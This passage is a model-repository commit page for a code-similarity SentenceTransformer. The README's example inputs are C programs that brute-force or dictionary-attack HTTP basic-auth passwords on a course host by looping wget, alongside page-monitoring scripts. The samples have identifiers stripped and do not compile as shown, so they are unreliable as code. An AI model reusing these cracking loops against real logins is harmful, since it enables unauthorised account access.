Add new SentenceTransformer model
Browse files- 1_Pooling/config.json +10 -0
- README.md +840 -0
- config.json +28 -0
- config_sentence_transformers.json +14 -0
- merges.txt +0 -0
- model.safetensors +3 -0
- modules.json +14 -0
- sentence_bert_config.json +4 -0
- special_tokens_map.json +51 -0
- tokenizer.json +0 -0
- tokenizer_config.json +58 -0
- vocab.json +0 -0
1_Pooling/config.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"word_embedding_dimension": 768,
|
| 3 |
+
"pooling_mode_cls_token": false,
|
| 4 |
+
"pooling_mode_mean_tokens": true,
|
| 5 |
+
"pooling_mode_max_tokens": false,
|
| 6 |
+
"pooling_mode_mean_sqrt_len_tokens": false,
|
| 7 |
+
"pooling_mode_weightedmean_tokens": false,
|
| 8 |
+
"pooling_mode_lasttoken": false,
|
| 9 |
+
"include_prompt": true
|
| 10 |
+
}
|
README.md
ADDED
|
@@ -0,0 +1,840 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- sentence-transformers
|
| 4 |
+
- sentence-similarity
|
| 5 |
+
- feature-extraction
|
| 6 |
+
- dense
|
| 7 |
+
- generated_from_trainer
|
| 8 |
+
- dataset_size:3081
|
| 9 |
+
- loss:BatchAllTripletLoss
|
| 10 |
+
base_model: microsoft/graphcodebert-base
|
| 11 |
+
widget:
|
| 12 |
+
- source_sentence: "#include<stdio.h>\n#include<stdlib.h>\n#include<unistd.h>\n#define\
|
| 13 |
+
\ TRUE 0\n()\n{\nFILE *fp;\nsystem(\"rmdir ./www.cs.rmit.edu.\");\nchar chk[1];\n\
|
| 14 |
+
strcpy(chk,\"n\");\n while(1)\n {\n \n \tsystem(\"wget -p http://www.cs.rmit.edu./students/\"\
|
| 15 |
+
);\n\t\t\n\t\tsystem(\"md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt\"\
|
| 16 |
+
);\n\t\t\n\t\t\n\t\tif (strcmp(chk,\"n\")==0)\t\t\n\t\t{\t\t\n\t\tsystem(\"mv\
|
| 17 |
+
\ ./www.cs.rmit.edu./text1.txt ./text2.txt\");\n\t\tsystem(\"mkdir ./\");\n\t\
|
| 18 |
+
\t\n\t\tsystem(\"mv ./www.cs.rmit.edu./students/index.html ./\");\n\t\t}\n\t\t\
|
| 19 |
+
else\n\t\t{\n\t\t\n\t\t\n\t\tsystem(\" diff ./www.cs.rmit.edu./students/index.html\
|
| 20 |
+
\ .//index.html | mail @cs.rmit.edu. \");\n\t\tsystem(\" diff ./www.cs.rmit.edu./text1.txt\
|
| 21 |
+
\ ./text2.txt | mail @cs.rmit.edu. \");\n\t\tsystem(\"mv ./www.cs.rmit.edu./students/index.html\
|
| 22 |
+
\ ./\");\n\t\tsystem(\"mv ./www.cs.rmit.edu./text1.txt ./text2.txt\");\t\t\t\
|
| 23 |
+
\t\n\t\t}\n\t\tsleep(86400);\n\t\tstrcpy(chk,\"y\");\n\t\t\n\t}\n}\t\t \t \
|
| 24 |
+
\ \n \n \n"
|
| 25 |
+
sentences:
|
| 26 |
+
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n\
|
| 27 |
+
#include <ctype.h>\n\nint ()\n{\n FILE *fp; \n char *chk,[4];\n int i=1;\n\
|
| 28 |
+
\ while (i == 1) \n {\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 29 |
+
);\n\n system(\"mkdir first\"); \n system(\"mkdir second\"); \n\n \n system(\"\
|
| 30 |
+
mv www.cs.rmit.edu./images/*.* first/\");\n system(\"mv www.cs.rmit.edu./students/*.*\
|
| 31 |
+
\ first/\");\n\n sleep(86400); \n\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 32 |
+
);\n\n \n system(\"mv www.cs.rmit.edu./images/*.* second/\");\n system(\"mv\
|
| 33 |
+
\ www.cs.rmit.edu./students/*.* second/\");\n\n \n \n system(\"diff first second\
|
| 34 |
+
\ > imagesdifference.txt\");\n\n \n fp = fopen(\"imagesdifference.txt\",\"r\"\
|
| 35 |
+
);\n \n chk = fgets(, 4, fp);\n \n if (strlen() != 0)\n system(\"mailx\
|
| 36 |
+
\ -s \\\"Difference from WatchDog\\\" < imagesdifference.txt\");\n }\n return\
|
| 37 |
+
\ 0;\n}\n"
|
| 38 |
+
- "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\
|
| 39 |
+
#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100];\nint count=0;\n\
|
| 40 |
+
char ch;\nchar line[100];\nchar filename[50];\nchar *token;\nconst char delimiter[]=\"\
|
| 41 |
+
\ \\n.,;:!-\";\nFILE *fp;\nint total_time,start_time,end_time;\nstart_time =\
|
| 42 |
+
\ time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"\
|
| 43 |
+
r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n\
|
| 44 |
+
{\n token=strtok(line,delimiter); \n while(token!=NULL)\n \
|
| 45 |
+
\ {\n count++;\n\t printf(\"ATTEMPT : %d\\n\",count);\n\
|
| 46 |
+
strcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\"\
|
| 47 |
+
);\n strcat(a,token); \n printf(\"\
|
| 48 |
+
The request %s\\n\",a); \n if(system(a)==0)\n\t\t{\n\t\tprintf(\"\
|
| 49 |
+
Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"\
|
| 50 |
+
************************************************************\\n\");\n\t\tprintf(\"\
|
| 51 |
+
Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n\
|
| 52 |
+
\ end_time = time();\n total_time = (end_time -start_time);\n\
|
| 53 |
+
\ total_time /= 1000000000.0;\n printf(\"The Time\
|
| 54 |
+
\ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n \n\
|
| 55 |
+
\ token=strtok(NULL,delimiter);\n \n \
|
| 56 |
+
\ }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n"
|
| 57 |
+
- "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include\
|
| 58 |
+
\ <strings.h>\n#include <ctype.h>\n\nint ()\n{\n char word[15], *chk;\n system(\"\
|
| 59 |
+
wget -p --convert-links http://www.cs.rmit.edu./students/\");\n system(\"mkdir\
|
| 60 |
+
\ one\");\n system(\"mv www.cs.rmit.edu./images/*.* one/\");\n system(\"mv\
|
| 61 |
+
\ www.cs.rmit.edu./students/*.* one/\");\n sleep(15);\n system(\"wget -p --convert-links\
|
| 62 |
+
\ http://www.cs.rmit.edu./students/\");\n system(\"mkdir two\");\n system(\"\
|
| 63 |
+
mv www.cs.rmit.edu./images/*.* two/\");\n system(\"mv www.cs.rmit.edu./students/*.*\
|
| 64 |
+
\ two/\");\n system(\"diff one two > difference.txt\");\n system(\"mailx -s\
|
| 65 |
+
\ \\\"Message1\\\" < difference.txt\");\n return 0;\n}\n"
|
| 66 |
+
- source_sentence: "# include <stdio.h>\n# include <stdlib.h>\n# include <string.h>\n\
|
| 67 |
+
# include <sys/time.h>\n# include <strings.h>\n\nint ()\n{\n\n\t\t\n\tchar* check\
|
| 68 |
+
\ = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\t\t\n\tchar s[100];\n\
|
| 69 |
+
\tchar charcopy[200];\n\t\n\tFILE* f;\t\t\t\t\t\n\t\t\n\tint i,j,k;\n\n\tint starting,ending;\t\
|
| 70 |
+
\t\t\t\t\t\t\n\t\n\tint totaltime;\n\t\n\tstarting=time();\t\t\t\t\t\t\t\t\n\n\
|
| 71 |
+
\tfor (i=0;i<strlen(check);i++)\n\t{\n\t\tfor(j=0;j<strlen(check);j++)\t\t\t\t\
|
| 72 |
+
\t\t\n\t\t{\n\t\t\tfor(k=0;k<strlen(check);k++)\n\t\t\t{\n\t\t\t\tstrcpy(charcopy,\"\
|
| 73 |
+
wget --http-user= --http-passwd= -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
| 74 |
+
);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tcharcopy[40]=check[i]; \
|
| 75 |
+
\ \t\t\t\n\t\t\t\tcharcopy[41]=check[j];\t\t\t\t\t\n\t\t\t\tcharcopy[42]=check[k];\n\
|
| 76 |
+
\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tsystem(charcopy);\t\n\t\t\t\tprintf(\"%c %c\
|
| 77 |
+
\ %c\\n\",check[i],check[j],check[k]);\n\t\t\t\tprintf(\"%s\\n\",charcopy);\n\t\
|
| 78 |
+
\t\t\t\n\t\t\t\tf = fopen(\"logfile\",\"r\");\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(f\
|
| 79 |
+
\ != (FILE*) NULL)\n\t\t\t\t{\n\t\t\t\t\tfgets(s,30,f);\t\t\t\t\t\n\t\t\t\t\t\
|
| 80 |
+
printf(\"%s\\n\",s);\n\t\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\n\
|
| 81 |
+
\t\t\t\t\t{\n\t\t\t\t\t\tending=time();\t\n\t\t\t\t\t\ttotaltime=ending-starting;\n\
|
| 82 |
+
\t\t\t\t\t\ttotaltime=totaltime/1000000000;\t\t\n\t\t\t\t\t\ttotaltime=totaltime/60;\n\
|
| 83 |
+
\t\n\t\t\t\t\t\tprintf(\"Total time_var taken break the Password is %lld minutes\\\
|
| 84 |
+
n\", totaltime);\n\t\t\t\t\t\texit(0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\
|
| 85 |
+
\t\tfclose(f);\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t} \n\t\n\t\n\treturn 1;\n}\n"
|
| 86 |
+
sentences:
|
| 87 |
+
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n\
|
| 88 |
+
#include <ctype.h>\n\nint ()\n{\n FILE *fp; \n char *chk,[4];\n int i=1;\n\
|
| 89 |
+
\ while (i == 1) \n {\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 90 |
+
);\n\n system(\"mkdir first\"); \n system(\"mkdir second\"); \n\n \n system(\"\
|
| 91 |
+
mv www.cs.rmit.edu./images/*.* first/\");\n system(\"mv www.cs.rmit.edu./students/*.*\
|
| 92 |
+
\ first/\");\n\n sleep(86400); \n\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 93 |
+
);\n\n \n system(\"mv www.cs.rmit.edu./images/*.* second/\");\n system(\"mv\
|
| 94 |
+
\ www.cs.rmit.edu./students/*.* second/\");\n\n \n \n system(\"diff first second\
|
| 95 |
+
\ > imagesdifference.txt\");\n\n \n fp = fopen(\"imagesdifference.txt\",\"r\"\
|
| 96 |
+
);\n \n chk = fgets(, 4, fp);\n \n if (strlen() != 0)\n system(\"mailx\
|
| 97 |
+
\ -s \\\"Difference from WatchDog\\\" < imagesdifference.txt\");\n }\n return\
|
| 98 |
+
\ 0;\n}\n"
|
| 99 |
+
- "\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include\
|
| 100 |
+
\ <strings.h>\n#include <ctype.h>\n\nchar *itoa(int); \n\nint ()\n{\n int t,t1,t2,\
|
| 101 |
+
\ timeinsec; \n int nofattempts = 0;\n char url[80], url1[80], *ur1, *ur2;\n\
|
| 102 |
+
\ strcpy(url, \"wget --http-user= --http-passwd=\"); \n strcpy(url1, \"\
|
| 103 |
+
\ http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt\"); \n int i = 65;\n int j\
|
| 104 |
+
\ ;\n int k ;\n char *c1, *c2, *c3;\n char *c12, pass[4];\n int syst = 1;\n\
|
| 105 |
+
\ char a = 'a';\n char inside[50];\n t1 = time(); \n\n \n\n\n\n for (i =\
|
| 106 |
+
\ 65; i <= 122; i++) \n {\n if (i > 90 && i < 97) continue; \n\
|
| 107 |
+
\n for (j = 65; j <= 122; j++) \n {\n if (j > 90 && j < 97)\
|
| 108 |
+
\ continue; \n\n for (k = 65; k <= 122; k++) \n {\n fflush(stdin);\n\
|
| 109 |
+
\ if (k > 90 && k < 97) continue; \n\n c1 = itoa(i); \n \
|
| 110 |
+
\ c2 = itoa(j); \n c3 = itoa(k); \n pass[0] = *c1;\n\
|
| 111 |
+
\ pass[1] = *c2;\n pass[2] = *c3;\n \t pass[3] = '\\0';\n\
|
| 112 |
+
\ strcat(url, pass); \n strcat(url, url1); \n\t ++nofattempts;\
|
| 113 |
+
\ \n syst = system(url); \n printf(\"%s\\n\",pass);\n \
|
| 114 |
+
\ if (syst == 0) \n {\n t2 = time();\n t\
|
| 115 |
+
\ = t2 - t1; \n timeinsec = t / 1000000000;\n printf(\"\
|
| 116 |
+
\ Total .of attempts :- %d\", nofattempts);\n printf(\"\\n !!! 's\
|
| 117 |
+
\ the password:- %s\\n\", pass);\n printf(\"\\n Brute force has taken\
|
| 118 |
+
\ much of time_var :- %lld seconds\\n\", timeinsec);\n exit(1);\n\
|
| 119 |
+
\ }\n\t strcpy(url, \"\");\n \t strcpy(url, \"wget --http-user=\
|
| 120 |
+
\ --http-passwd=\");\n }\n }\n }\n exit(0);\n}\n\nchar *itoa(int a)\
|
| 121 |
+
\ \n{\n char *[26] = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"\
|
| 122 |
+
h\", \"i\", \"j\", \"k\", \"l\", \n \"m\", \"n\", \"o\",\
|
| 123 |
+
\ \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\",\n \
|
| 124 |
+
\ \"y\", \"z\" };\n char *[26] = { \"A\", \"B\", \"C\", \"D\", \"\
|
| 125 |
+
E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\",\n \"\
|
| 126 |
+
M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"\
|
| 127 |
+
X\",\n \"Y\", \"Z\" };\n\n char *ret;\n if ( a >= 97 &&\
|
| 128 |
+
\ a <= 122) \n {\n ret = [a-97];\n return ret;\n }\n if ( a >=\
|
| 129 |
+
\ 65 && a <= 90) \n {\n ret = [a-65];\n return ret;\n }\n\n \
|
| 130 |
+
\ return \"5\";\n}\n"
|
| 131 |
+
- "\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<sys/types.h>\n\
|
| 132 |
+
#include<sys/times.h>\n#include<sys/time.h>\n#include<unistd.h>\n#include<strings.h>\n\
|
| 133 |
+
int ()\n{\n char url[100];\n char syscom[]= \"wget -nv --http-user= --http-passwd=\"\
|
| 134 |
+
;\n char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/ \";\n FILE *fp;\n\n\
|
| 135 |
+
\ char pass[15], *valid;\n valid = \"pass\";\n int , end, time_var;\n int\
|
| 136 |
+
\ hack =1;\n int attempt =1;\n\n fp = fopen(\"words.txt\",\"r\");\n if (fp\
|
| 137 |
+
\ == NULL)\n exit(1);\n\n = time();\n while (valid != NULL)\n {\n valid\
|
| 138 |
+
\ = fgets(pass,15,fp);\n pass[strlen(pass)-1] ='\\0';\n\n if(strlen(pass)\
|
| 139 |
+
\ != 3)\n continue;\n\n printf(\"%s\\n\",pass);\n sprintf(url,\"%s%s %s\"\
|
| 140 |
+
,syscom,pass,http);\n\n hack = system(url);\n attempt++;\n\n if (hack ==\
|
| 141 |
+
\ 0)\n {\n end = time();\n time_var = (end-);\n printf(\"\\nThe\
|
| 142 |
+
\ password is :%s\",pass);\n printf(\"\\nNo. of Attempts crack the password\
|
| 143 |
+
\ :%d\",attempt);\n printf(\"\\nTime taken crack the password = %lld sec\\\
|
| 144 |
+
n\",time_var/1000000000);\n exit(1);\n }\n }\n exit(1);\n }\n\n"
|
| 145 |
+
- source_sentence: "\n# include <stdio.h>\n# include <stdlib.h>\n# include <string.h>\n\
|
| 146 |
+
# include <strings.h>\n# include <sys/time.h>\n\nint ()\n{\n\n\tchar s[30];\n\t\
|
| 147 |
+
char c[100];\n\tchar usr[50];\n\tchar url[100];\n\tchar charcopy[200];\n\t\n\t\
|
| 148 |
+
int starting,ending;\t\t\t\t\t\t\t\n\tint totaltime;\n\n\tFILE* fp;\n\tFILE* f;\n\
|
| 149 |
+
\t\t\n\tint i,j,k;\n\t\t\t\n\tfp = fopen(\"/usr/share/lib/dict/words\",\"r\");\t\
|
| 150 |
+
\t\t\t\t\n\tstrcpy(charcopy, \"wget --http-user= --http-passwd=\");\t\t\t\n\t\
|
| 151 |
+
strcpy(url, \"-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/\");\t\t\n\t\
|
| 152 |
+
\n\tstarting=time();\t\t\t\t\t\t\t\t\n\n\t\n\twhile(!feof(fp))\n\t{\n\t\tj=40;\n\
|
| 153 |
+
\t\tfgets(c,30,fp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\t\n\t\tfor(i=0;i<strlen(c);i++)\t\
|
| 154 |
+
\t\t\t\t\t\n\t\t{\n\t\t\tcharcopy[j]=c[i];\n\t\t\tj++;\n\t\t}\n\t\tcharcopy[j-1]\
|
| 155 |
+
\ = ' ';\n\t\t\n\t\tfor(i=0;i<strlen(url);i++)\t\t\t\t\t\t\n\t\t{\n\t\t\tcharcopy[j]=url[i];\t\
|
| 156 |
+
\t\t\t\t\t\n\t\t\tj++;\n\t\t}\n\t\t\n\t\tcharcopy[j] = '\\0';\n\n\t\tprintf(\"\
|
| 157 |
+
%s\\n\",c);\n\t\tsystem(charcopy);\n\t\t\t\n\t\tf = fopen(\"logfile1\",\"r\");\t\
|
| 158 |
+
\t\t\t\t\t\n\t\t\n\t\tif(f != (FILE*) NULL)\n\t\t{\n\t\t\n\t\t\tfgets(s,30,f);\t\
|
| 159 |
+
\t\t\t\t\t\t\n\t\t\tif(strcmp(s,\"Authorization failed.\\n\")!=0)\t\t\t\n\t\t\t\
|
| 160 |
+
{\n\t\t\t\tending=time();\n\t\t\t\ttotaltime=ending-starting;\t\t\t\t\n\t\t\t\t\
|
| 161 |
+
totaltime=totaltime/1000000000;\n\t\t\t\ttotaltime=totaltime/60;\n\t\n\t\t\t\t\
|
| 162 |
+
printf(\"Time taken break the password is %lld\\n\",totaltime); \n\t\t\t\
|
| 163 |
+
\texit(0);\n\t\t\t}\n\t\t}\n\t\t\t\n\t\tfclose(f);\n\t} \n\t\n\tfclose(fp);\n\t\
|
| 164 |
+
\n\t\n\treturn 1;\n}\n"
|
| 165 |
+
sentences:
|
| 166 |
+
- "\n\n\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n\
|
| 167 |
+
#include<sys/types.h>\n#include<sys/times.h>\n#include<sys/time.h>\n#include<unistd.h>\n\
|
| 168 |
+
\nint ()\n{\n char url[80];\n char syscom[]= \"wget -nv --http-user= --http-passwd=\"\
|
| 169 |
+
;\n char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\
|
| 170 |
+
;\n\n char username[8];\n char pass[4];\n int i,j,k,hack=1;\n int attempt\
|
| 171 |
+
